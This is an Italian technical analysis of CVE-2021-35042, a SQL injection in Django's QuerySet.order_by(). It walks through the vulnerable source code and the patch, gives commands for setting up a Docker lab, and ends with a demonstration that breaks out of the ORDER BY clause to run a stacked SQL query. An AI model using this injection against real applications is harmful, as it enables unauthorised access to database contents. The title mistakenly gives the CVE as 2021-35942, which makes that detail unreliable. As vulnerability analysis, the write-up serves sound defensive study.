
Un'analisi di base su CVE-2021-35942. Iniezione SQL in Django.
Django è un framework per applicazioni web open source, scritto in Python e costruito secondo il modello MVC (Model - View - Controller). Inizialmente è stato creato per gestire i siti web di contenuti di notizie di proprietà del gruppo editoriale Lawrence, come software CMS (Content Management System).
Le versioni di Django 3.1.x -> 3.1.13 e 3.2.x -> 3.2.5 presentano una vulnerabilità di SQL injection.
La causa di questa vulnerabilità è che la funzione di filtraggio dei dati di input controllati dall'utente in QuerySet.order_by() non è sufficiente a prevenire gli attacchi di SQL injection. Questa vulnerabilità può essere sfruttata per consentire a un attaccante di eseguire azioni non autorizzate che portano alla divulgazione di dati sensibili.
| CVE - ID | CVE-2021-35042 |
|---|
| Severità | 9.8 - CRITICA |
| CWE - ID | CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| Data di pubblicazione della vulnerabilità | 1/7/2021 |
| Software interessato | 3.1.x < 3.1.13, 3.2.x < 3.2.5 |
| Richiede autenticazione | Non richiesta |
In Django, la creazione di tabelle e la definizione dei campi nel database viene eseguita dichiarando una classe modello nel file models.py. In questo esempio, dichiariamo una tabella chiamata Wolf e un campo chiamato name.


Il framework ORM integrato in Django viene utilizzato per interagire con il database, e il risultato di una query è un insieme, chiamato QuerySet.
order_by(fields)
Per impostazione predefinita, order_by() restituisce un QuerySet ordinato secondo l'ordine specificato nell'opzione ordering nel Meta del Modello. Possiamo sovrascrivere la condizione order_by in ogni query utilizzando il metodo order_by().
Esempio
wolves = Wolf.objects.order_by('-name', 'id')
Il risultato della query sopra sarà ordinato in modo decrescente per il campo name, poi in modo crescente per id. Il segno meno davanti al nome del campo name indica che il risultato è ordinato in modo decrescente.
L'esempio seguente ordina il risultato restituito in base al campo ricevuto dall'utente; se non viene passato alcun valore, ordina per il campo
id.
Risultato

Nelle versioni 3.1 e 3.2, Django consente di combinare il metodo di query con il nome della tabella nella query order_by. Questa è anche la causa principale di questa vulnerabilità.
Passare un nome di tabella ci dà lo stesso risultato del passare normalmente un nome di campo
cve202135042_wolf è il nome della tabella
Innanzitutto l'applicazione chiama direttamente la funzione order_by(); il codice che gestisce la funzione order_by() è definito in:
django/db/models/query.py

La funzione order_by() esegue due operazioni
- Cancella tutti i metodi attualmente chiamati da order_by() e rimuove il parametro predefinito passato quando order_by riceve un valore diverso.
- Passa il parametro a order_by. La funzione
add_ordering()esegue questa operazione
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
Il parametro passato a add_ordering() è un array.
Ad esempio, quando il parametro viene passato come segue:
wolves = Wolf.objects.order_by( 'name' , 'id' )In quel caso, l'applicazione convertirà la query nel database come segue:
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY "cve202135042_wolf"."name" ASC, "cve202135042_wolf"."id" ASC
Quando viene passato, la funzione add_ordering controlla ogni elemento dell'array; se è una string, viene verificata nei seguenti 5 casi:
if '.' in item:Controlla se si tratta di una query con un nome di colonna e se quella colonna ha un nome di tabella specificato nell'istruzione SQL. Se sì, emette un avviso econtinue.if item == '?':Se il valore dell'elemento è il carattere '?', il risultato dell'output viene ordinato casualmente,continue.if item.startswith('-'):Se l'elemento inizia con il carattere '-', il risultato della query viene ordinato in modo DESC (decrescente).if item in self.annotations:Controlla se contiene un commento; se sì,continue.if self.extra and item in self.extra:Determina se ci sono aggiunte extra e, in tal caso,continue.
Dopo i 5 controlli, il parametro viene passato alla funzione self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) per verificare ulteriormente se si tratta di un nome di colonna valido; se valido, viene aggiunto a self.ordering della classe Query per l'elaborazione successiva.
L'ORM di Django filtra in modo molto rigoroso i dati inseriti nella query, ma questa modifica del codice sorgente che porta alla SQL injection è dovuta al fatto che l'autore ha ipotizzato che se il nome della colonna è una colonna UUID (Universal Unique Identifier), la query order_by non potrebbe essere eseguita.
Ciò significa che se i dati passati sono xxx-xxx-xxx-xxx (formato UUID), la query non può essere eseguita.
Codice prima della modifica
# django/db/models/sql/constants.py
ORDER_PATTERN = _lazy_re_compile ( r '\?|[-+]?[.\w]+$' )
# django/db/models/sql/query.py
def add_ordering ( self , * ordering ):
errors = []
for item in ordering :
if isinstance ( item , str ) and ORDER_PATTERN . match ( item ):
if '.' in item :
warnings . warn (
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item ,
category = RemovedInDjango40Warning ,
stacklevel = 3 ,
)
elif not hasattr ( item , 'resolve_expression' ):
errors . append ( item )
if getattr ( item , 'contains_aggregate' , False ):
raise FieldError (
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s ' % item
)
if errors :
raise FieldError ( 'Invalid order_by arguments: %s ' % errors )
if ordering :
self . order_by += ordering
else :
self . default_ordering = False
Dal codice sopra, possiamo vedere che se il parametro corrisponde a ? o inizia con - seguito da caratteri normali o punti ., la query viene eseguita.
Pertanto, quando il nome della colonna è un UUID, è un valore non valido e non può essere inserito in order_by.
La modifica del codice di questa parte di elaborazione è stata accettata ed è stata modificata come segue:
https://github.com/charettes/django/commit/513948735b799239f3ef8c89397592445e1a0cd5

Ha utilizzato la funzione self.name_to_path per validare l'input.
Ma dopo il controllo, se . è presente nell'elemento, viene considerato una query con nome di tabella, viene eseguito il comando continue, portando a saltare direttamente l'uso della funzione self.name_to_path per verificare la validità dei dati.
Il codice che gestisce il punto . nella funzione get_order_by è il seguente
django/db/models/sql/compiler.py
if '.' in field :
table , col = col . split ( '.' , 1 )
order_by . append ((
OrderBy (
RawSQL ( ' %s . %s ' % (
self . quote_name_unless_alias ( table ), col ), [ ]),
descending = descending
), False ))
continue
La funzione self.quote_name_unless_alias gestisce il nome della tabella, filtra i nomi di tabella validi e salta il filtraggio del nome della colonna, quindi possiamo iniettare un'istruzione SQL injection.
Nella versione attuale di Django 4.0, la query per nome di tabella tramite il punto . è stata rimossa e non è più supportata; la patch è stata rilasciata per le versioni 3.1 e 3.2. Le versioni 3.2 -> 3.2.4 e 3.1 -> 3.1.12 sono interessate.
3.2.x Fixed CVE-2021-35042 -- Prevented SQL injection in QuerySet.o…
La modifica è molto semplice: il controllo dei dati con la vecchia ReGex è stato ripristinato

Aggiornare Django a una versione non interessata.
Docker & Docker-compose
git clone https://github.com/WynSon/CVE-2021-35042.git./setup.sh per la configurazione inizialesudo docker-compose up --buildsudo docker exec -it cve-2021-35042_web_1 python manage.py makemigrations cve202135042sudo docker exec -it cve-2021-35042_web_1 python manage.py migratehttp://localhost:8000/wolves/?order_by=nameSchermata dopo l'installazione completata

Condizione: Per poter sfruttare la vulnerabilità, dobbiamo assolutamente conoscere il nome della tabella in qualche modo :))
Quando si inietta l'istruzione, dobbiamo conoscere il nome della tabella per poter eseguire l'istruzione SQLi.
Quando si inserisce un nome di tabella errato

Quando si inserisce il nome di tabella corretto, la query orderby viene eseguita normalmente.

L'istruzione in questo momento diventa
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name") ASC
A questo punto, possiamo terminare l'istruzione order_by precedente e inserire un'istruzione SQL per sfruttare la vulnerabilità.

SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name"); SELECT * from cve202135042_wolf where id =1; --) ASC